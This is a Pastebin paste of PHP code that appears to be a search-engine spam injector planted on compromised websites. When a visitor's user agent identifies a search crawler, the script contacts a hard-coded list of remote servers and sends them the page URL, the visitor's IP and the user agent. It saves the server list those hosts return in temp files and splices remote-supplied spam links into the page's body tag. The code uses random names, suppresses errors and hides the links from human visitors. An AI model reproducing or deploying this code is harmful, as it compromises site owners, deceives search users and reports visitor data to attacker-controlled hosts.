Advertisement
Guest User

Untitled

a guest
Mar 13th, 2014
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.59 KB | None | 0 0
  1. error_reporting(0);
  2.  
  3.  
  4. if (isset($_SERVER["HTTP_USER_AGENT"])){$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);}
  5. if ((strpos($ua,"googlebot")!==false)||(strpos($ua,"msnbot")!==false)||(strpos($ua,"slurp")!==false))
  6. {
  7. if (!function_exists("J6YqQmndW4_pirogok")){
  8. function J6YqQmndW4_pirogok(){
  9. return false;
  10. }
  11. function t_dir() {
  12. if (function_exists("sys_get_temp_dir")) {
  13.     if (@is_writeable(sys_get_temp_dir())) { return realpath(sys_get_temp_dir()); }
  14. }
  15.     if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) { return realpath($_ENV["TMP"]); }
  16.     if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) { return realpath( $_ENV["TMPDIR"]); }
  17.     if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { return realpath( $_ENV["TEMP"]); }
  18.     $tempfile=@tempnam(__FILE__,"");
  19.     if (@file_exists($tempfile)) {
  20.       @unlink($tempfile);
  21.     if (@is_writeable(realpath(dirname($tempfile)))) {return realpath(dirname($tempfile)); }
  22.    
  23.     }
  24.     if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) { return realpath(@ini_get("upload_tmp_dir")); }
  25.     if (@is_writeable(realpath(session_save_path()))) { return realpath(session_save_path()); }
  26.     if (@is_writeable(realpath(dirname(__FILE__)))) { return realpath(dirname(__FILE__)); }
  27.     return null;
  28. }
  29.  
  30. function get_t_dir_mass() {
  31.  
  32. if (function_exists("sys_get_temp_dir")) {
  33.     if (@is_writeable(sys_get_temp_dir())) { $res[] = realpath(sys_get_temp_dir()); }
  34. }
  35.     if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) { $res[] = realpath($_ENV["TMP"]); }
  36.     if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) { $res[] = realpath( $_ENV["TMPDIR"]); }
  37.     if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { $res[] = realpath( $_ENV["TEMP"]); }
  38.     $tempfile=@tempnam(__FILE__,"");
  39.     if (@file_exists($tempfile)) {
  40.       @unlink($tempfile);
  41.     if (@is_writeable(realpath(dirname($tempfile)))) {$res[] = realpath(dirname($tempfile)); }
  42.    
  43.     }
  44.     if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) { $res[] = realpath(@ini_get("upload_tmp_dir")); }
  45.     if (@is_writeable(realpath(session_save_path()))) {$res[] = realpath(session_save_path()); }
  46.     if (@is_writeable(realpath(dirname(__FILE__)))) { $res[] = realpath(dirname(__FILE__)); }
  47.  
  48.     return array_unique($res);
  49. }
  50.  
  51. function get_know_ip(){
  52. $know[] = "37.235.53.202";
  53. $know[] = "130.0.233.18";
  54. $know[] = "130.0.237.24";
  55. $know[] = "149.154.154.191";
  56. $know[] = "151.236.17.13";
  57. $know[] = "151.236.18.8";
  58. $know[] = "178.209.52.218";
  59. $know[] = "178.73.210.163";
  60. $know[] = "46.17.57.141";
  61. $know[] = "46.246.93.130";
  62. $know[] = "5.61.42.109";
  63. $know[] = "5.61.45.110";
  64. $know[] = "93.170.129.75";
  65.  
  66. foreach(get_t_dir_mass() as $t){
  67. if(file_exists($t.DIRECTORY_SEPARATOR."N2W3Y0qaFA")){
  68. foreach (file($t.DIRECTORY_SEPARATOR."N2W3Y0qaFA") as $tt){
  69. $know[] = trim($tt);
  70. }
  71. }
  72. }
  73. return array_unique($know);
  74. }
  75.  
  76. function save_know_ip($ip){
  77. $content =  implode(PHP_EOL, $ip);
  78. foreach(get_t_dir_mass() as $t){
  79. $f = fopen($t.DIRECTORY_SEPARATOR."N2W3Y0qaFA","w");
  80. fputs($f,$content);
  81. fclose($f);
  82. }
  83. }
  84.  
  85. function J6YqQmndW4_get_real_ip() {
  86. $proxy_headers = array("CLIENT_IP","FORWARDED","FORWARDED_FOR","FORWARDED_FOR_IP","HTTP_CLIENT_IP","HTTP_FORWARDED","HTTP_FORWARDED_FOR","HTTP_FORWARDED_FOR_IP", "HTTP_PC_REMOTE_ADDR","HTTP_PROXY_CONNECTION","HTTP_VIA", "HTTP_X_FORWARDED", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED_FOR_IP","HTTP_X_IMFORWARDS","HTTP_XROXY_CONNECTION","VIA", "X_FORWARDED", "X_FORWARDED_FOR");
  87. foreach($proxy_headers as $proxy_header)
  88. {
  89. if(isset($_SERVER[$proxy_header]) && preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $_SERVER[$proxy_header])){return $_SERVER[$proxy_header];}
  90. else if(stristr(",", $_SERVER[$proxy_header]) !== FALSE)
  91. {$proxy_header_temp = trim(array_shift(explode(",", $_SERVER[$proxy_header])));
  92. if(($pos_temp = stripos($proxy_header_temp, ":")) !== FALSE) $proxy_header_temp = substr($proxy_header_temp, 0, $pos_temp);
  93. if(preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $proxy_header_temp) )return $proxy_header_temp;
  94. }
  95. }
  96. return $_SERVER["REMOTE_ADDR"];
  97. }
  98. function J6YqQmndW4_get_url(){
  99. $url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
  100. if (strpos($url,"?") !== false){
  101. $url = substr($url,0,strpos($url,"?"));
  102. }
  103. return $url;
  104. }
  105. function J6YqQmndW4_get_contents($ip, $page){
  106. if( function_exists("curl_init") ){
  107.     $ch = curl_init("http://" .$ip . "/" .$page);
  108.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  109.     curl_setopt($ch, CURLOPT_TIMEOUT, 3);
  110.     $ult = trim(curl_exec($ch));
  111.     return $ult;
  112.     }
  113.  
  114. if (ini_get("allow_url_fopen")) {
  115.     $ult = trim(@file_get_contents("http://" .$ip . "/" .$page));
  116.     return $ult;
  117.     }
  118.     $fp = fsockopen($ip, 80, $errno, $errstr, 30);
  119.     if ($fp) {$out = "GET $page HTTP/1.0\r\n";
  120.     $out .= "Host: $ip\r\n";
  121.     $out .= "Connection: Close\r\n\r\n";
  122.     fwrite($fp, $out);
  123.     $ret = "";
  124.     while (!feof($fp)) {$ret  .=  fgets($fp, 128);}
  125. fclose($fp);
  126. $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));}
  127. return $ult;
  128. }
  129. function J6YqQmndW4_samui_get_links(){
  130.  
  131. $all = get_know_ip();
  132. shuffle($all);
  133. $url = J6YqQmndW4_get_url();
  134. $real_ip = J6YqQmndW4_get_real_ip();
  135. $ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
  136. $aid = "1001";
  137. $cod = md5($url.time());
  138. $check = md5($cod);
  139. $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
  140. $page = "/glk.php?aid=".$aid."&url=".$url."&ip=".$real_ip."&ua=".$ua."&cod=".$cod;
  141.  
  142. foreach ($all as $ip){
  143. $tc = J6YqQmndW4_get_contents(trim($ip),$page);
  144. $pos = strpos($tc, $check);
  145. if ($pos !== false){
  146. $proxy_list = substr($tc,0,$pos);
  147.  
  148. save_know_ip(explode("\n",$proxy_list));
  149.  
  150.  
  151. $links = substr($tc,$pos+32);
  152. return $links;
  153. }
  154. }
  155. }
  156. function J6YqQmndW4_mod_con($con){
  157. if (strpos($con,"<body") !== false) {
  158. $text = preg_replace("/<body(\s[^>]*)?>/i", "<body\1>".J6YqQmndW4_samui_get_links(), $con,1);  
  159. return $text;
  160. } else {return $con;}
  161. }
  162. function J6YqQmndW4_callback($buf){
  163. if (headers_sent()){
  164. if (in_array("Content-Encoding: gzip", headers_list())){
  165. $tmpfname = tempnam(t_dir(), "FOO");$zf = fopen($tmpfname, "w"); fputs($zf, $buf); fclose($zf); $zd = gzopen($tmpfname, "r");$contents = gzread($zd, 10000000);$contents = J6YqQmndW4_mod_con($contents);gzclose($zd);unlink($tmpfname);$contents = gzencode($contents);} else {$contents = J6YqQmndW4_mod_con($buf); }} else {$contents = J6YqQmndW4_mod_con($buf);}return($contents);
  166. }
  167.  
  168. ob_start("J6YqQmndW4_callback");
  169. }
  170. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement